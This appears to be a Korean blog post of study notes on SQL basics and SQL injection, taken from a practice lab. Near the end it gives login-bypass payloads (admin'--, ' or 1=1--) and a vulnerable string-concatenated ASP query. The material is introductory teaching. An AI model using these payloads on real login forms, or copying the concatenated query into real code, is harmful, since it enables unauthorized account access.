SQL Injection
SQL : DB에서 데이터를 조작하거나 접근할 수 있게 하는 언어
-> asp mysql windows200으로 구성되어 있는 서버 기반으로 실습
DB (Database)
데이터를 보관하는 저장소이다
일반적으로 회원가입, 게시물 등록을 할 때 해당 데이터를 DB에 보관하게 되며, 다시 열람, 수정, 삭제를 할때 참조하게 된다.
DBMS (Database management System)
DB를 관리하는 소프트웨어를 뜻한다
DDL : 정의어
create : 생성
alter : 수정
drop : 삭제
DML : 조작어 -> 주로 보안, sql injection에서 많이 다룸
select : 조회
insert : 추가
delete : 삭제
update : 수정
DCL : 제어어
commit : 적용
rollback : 복원
grant : 권한 부여
revoke : 권한 삭제
------------
DB 구성
열을 column 또는 field라고 한다
행을 row 또는 record(column안에 들어있는 값)라고 한다
DB - 테이블 - 컬럼 - 레코드
학교 - 학년 - 반 - 학생
-----------
create database time;
use time;
create table test(월 text, 화 text, 수 text, 목 text, 금 text, 토 text);
select * from test;
insert into test (월, 화, 수, 목, 금, 토) values('수학','영어','체육','미술','국어','미술');
->text 자료형은 single quote 사용하여 값 입력
int text int int int int text
idx 이름 나이 키 몸무게 자산 직업
where : 조회할 특정한 정보값을 뽑아내기 위한 조건 값
어떠한 값을 불러올지 컬럼명 지정
select * from cast where ;
select * from cast where 자산 >=200 and 몸무게 >=60;
or
select * from cast where 이름 like '주원';
select * from cast where 이름 like '%원';
-> 임의의 문자 -> %
select sum(나이) from cast;
-> 합을 구하는 함수 사용
select * from cast order by 나이 asc;
-> order by : 반환하는 레코드의 순서
-> asc : 오름 차순
-> desc : 내림 차순
----------
sql Injection
1. 인증 우회 -> 세션 관리 취약점 (관리자 페이지 노출)
2. 시스템 명령어 실행
3. 정보 조회
쿼리 비교
select * from member where bId='admin' and bPass='1234'; -> SQL 분석기
strSQL = "Select * From member Where bId = '" & userid & "' and bPass= '"& pwd & "'" -> 웹상
admin'-- -> 아이디 창에 입력하면 비번 없이 관리자로 로그인이 되었다.
select * from member where bId='admin'--' and bPass='1234';
-> 뒷 부분은 주석처리 됨
-> and는 둘다 true 라야 true
select * from member where bId='admin' and bPass='' or 1=1--
select user_id, user_pw frim menber where user_id='kim' and passwd='' or 1=1--
---------
blind sql injection
'Web' 카테고리의 다른 글
SQL / personal data (0) | 2014.11.13 |
---|---|
sql injection (0) | 2014.11.12 |
file download (0) | 2014.11.10 |
webshell and defense of it (0) | 2014.11.06 |
CSRF (0) | 2014.11.05 |